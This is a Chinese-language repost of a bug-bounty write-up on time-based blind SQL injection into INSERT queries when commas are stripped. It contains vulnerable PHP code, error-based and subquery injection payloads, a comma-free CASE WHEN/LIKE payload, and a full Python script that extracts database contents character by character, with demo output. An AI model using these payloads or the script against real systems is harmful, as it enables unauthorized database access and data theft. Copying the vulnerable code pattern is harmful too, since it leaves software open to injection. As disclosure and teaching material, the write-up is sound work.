在逗号被禁止的情况下的SQL注入技巧

2019-04-14 约 1762 字 预计阅读 4 分钟

声明:本文 【在逗号被禁止的情况下的SQL注入技巧】 由作者 惊鸿一瞥最是珍贵 于 2019-04-14 08:57:00 首发 先知社区 曾经 浏览数 107 次

感谢 惊鸿一瞥最是珍贵 的辛苦付出!

TL;DR

这篇博客是关于我在挖洞的时候发现的一个有趣的SQL注入问题。漏洞利用部分非常有趣,易受攻击的端点使用插入查询,由于应用程序的逻辑,我无法使用逗号。经过一些尝试之后,我成功地构造出了以下payload:

xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

来作为利用代码的基础部分,从而获得10000美元的奖励。

多余的介绍

相信大家和我一样,很早就知道更新或插入查询中的注入问题。
原因与很多SQL注入一样,将未经过滤的输入传递给SQL查询语句。

$email=$_POST['email'];
$name=$_POST['name'];
$review=$_POST['review'];
$query="insert into reviews(review,email,name) values ('$review','$email','$name')";
mysql_query($query,$conn);

一个正常的请求,例如

review=test review&email=info@example.com&name=test name

将导致以下SQL查询

insert into reviews(review,email,name) values ('test review','info@example.com','test name');

选择该列将导致

MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review','info@example.com','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB [dummydb]> select * from reviews;
+-------------+------------------+-----------+
| review      | email            | name      |
+-------------+------------------+-----------+
| test review | info@example.com | test name |
+-------------+------------------+-----------+
1 row in set (0.000 sec)

因此我们有很多利用姿势,

基于错误的注入

将任意参数设置为

test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1

这将导致显示DBname的SQL错误

MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');
ERROR 1105 (HY000): XPATH syntax error: '
dummydb'

使用子查询

如果正在处理SQL错误,我们可以使用子查询来执行SQL查询,将输出写入任何列,然后读取它。
示例:将review参数的值设置为

jnk review',(select user()),'dummy name')-- -

将导致查询变成

insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');

所以下面的部分

,'info@example.com','test name');

将被忽略,Email值将成为 (select user ())查询的输出

MariaDB [dummydb]> insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name');--,'info@example.com','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB [dummydb]> select * from reviews;
+-------------+------------------+------------+
| review      | email            | name       |
+-------------+------------------+------------+
| test review | info@example.com | test name  |
| jnk review  | root@localhost   | dummy name |
+-------------+------------------+------------+
2 rows in set (0.000 sec)
MariaDB [dummydb]>

直截了当而且很容易操作。

使用盲注

如果没有抛出错误,无法查看我们刚刚插入的数据,甚至无法指示我们的查询是否导致真或假,我们可以转移到基于时间的注入,这可以使用以下payload轻松完成

xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

如果查询输出为真,则DBMS将休眠5秒,使用该技术我们可以从数据库中获得所需的数据。

问题

因此,进行这些操作并不是什么难事,但在这个特定的bug中注入方式却有所不同。
易受攻击的参数,urls[]methods[] 分开,这导致我在注入过程中不能使用

$urls_input=$_POST['urls'];
$urls = explode(",", $urls_input);
print_r($urls);
foreach($urls as $url){
  mysql_query("insert into xxxxxx (url,method) values ('$url','method')")
}

因此,根据前面的代码,如果我们将urls参数设置为

xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

输入将被分割并转换为

Array
(
    [0] => xxx'-(IF((substring((select database())
    [1] => 1
    [2] => 1)) = 'd'
    [3] =>  sleep(5)
    [4] =>  0))-'xxxx
)

,当由SQL server处理时,这是完全没有意义的。

解决方案

首先创建一个根本不包含逗号的payload。
第一步首先找到IF的替代品——case when
基本用法:

MariaDB [dummydb]> select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;
+--------------------------------------------------------------------------+
| CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END |
+--------------------------------------------------------------------------+
|                                                                        0 |
+--------------------------------------------------------------------------+
1 row in set (3.001 sec)

如果条件为真,此操作将休眠3秒钟。
第二步是找到一个substring的替代品,这是相对容易的,我们可以使用like来实现这一点。

MariaDB [dummydb]> select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END;
+----------------------------------------------------------------------+
| CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END |
+----------------------------------------------------------------------+
|                                                                    0 |
+----------------------------------------------------------------------+
1 row in set (3.001 sec)

如果(select database())查询的第一个字符等于字符‘d’,则会休眠3秒。
最后一步是将此查询与插入查询连接在一起。
出于某种原因,直接连接的形式是

http://xxxxxxxx/'-(select CASE WHEN ((select database()) like 'd%') THEN (sleep(4)) ELSE 2 END)-'xxx

然而对目标不起作用,
为了克服这个问题,我将payload变成了

urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

Exploitation

我写了一个简单的脚本来自动化数据提取过程。

import requests
import sys
import time
# xxxxxxxxxexample.com SQLi POC
# Coded by Ahmed Sultan (0x4148)
if len(sys.argv) == 1:
 print '''
Usage : python sql.py "QUERY"
Example : python sql.py "(select database)"
 '''
 sys.exit()
query=sys.argv[1]
print "[*] Obtaining length"
url = "https://xxxxxxxxxexample.com:443/sub"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Cookie": 'xxxxxxxxxxxxxxxxxxx',
"Referer": "https://www.xxxxxxxxxexample.com:443/",
"Host": "www.xxxxxxxxxexample.com",
"Connection": "close",
"X-Requested-With":"XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded"}
for i in range(1,100):
 current_time=time.time()
 data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"}
 response=requests.post(url, headers=headers, data=data).text
 response_time=time.time()
 time_taken=response_time-current_time
 print "Executing jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"+" took "+str(time_taken)
 if time_taken > 2:
  print "[+] Length of DB query output is : "+str(i)
  length=i+1
  break
 i=i+1
print "[*] obtaining query output\n"
outp=''
#Obtaining query output
charset="abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."
for i in range(1,length):
 for char in charset:
  current_time=time.time()
  data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-'"}
  response=requests.post(url, headers=headers, data=data).text
  response_time=time.time()
  time_taken=response_time-current_time
  print "Executing jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-' took "+str(time_taken)
  if time_taken > 2:
   print "Got '"+char+"'"
   outp=outp+char
   break
 i=i+1
print "QUERY output : "+outp

Demo演示

[19:38:36] root:/tmp # python sql7.py '(select "abc")'    
[*] Obtaining length
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=1) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.538205862045
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=2) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.531971931458
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=3) THEN (sleep(1)) ELSE 2 END) as char)-' took 5.55048894882
[+] Length of DB query output is : 3
[*] obtaining query output
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'a%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.5701880455
Got 'a'
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aa%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.635061979294
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'ab%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.61513400078
Got 'b'
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aba%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.565879821777
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abb%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.553005933762
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abc%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.6208281517
Got 'c'
QUERY output : abc


最后的结果是

简而言之

payload

xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
https://blog.redforce.io/sql-injection-in-insert-update-query-without-comma/

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now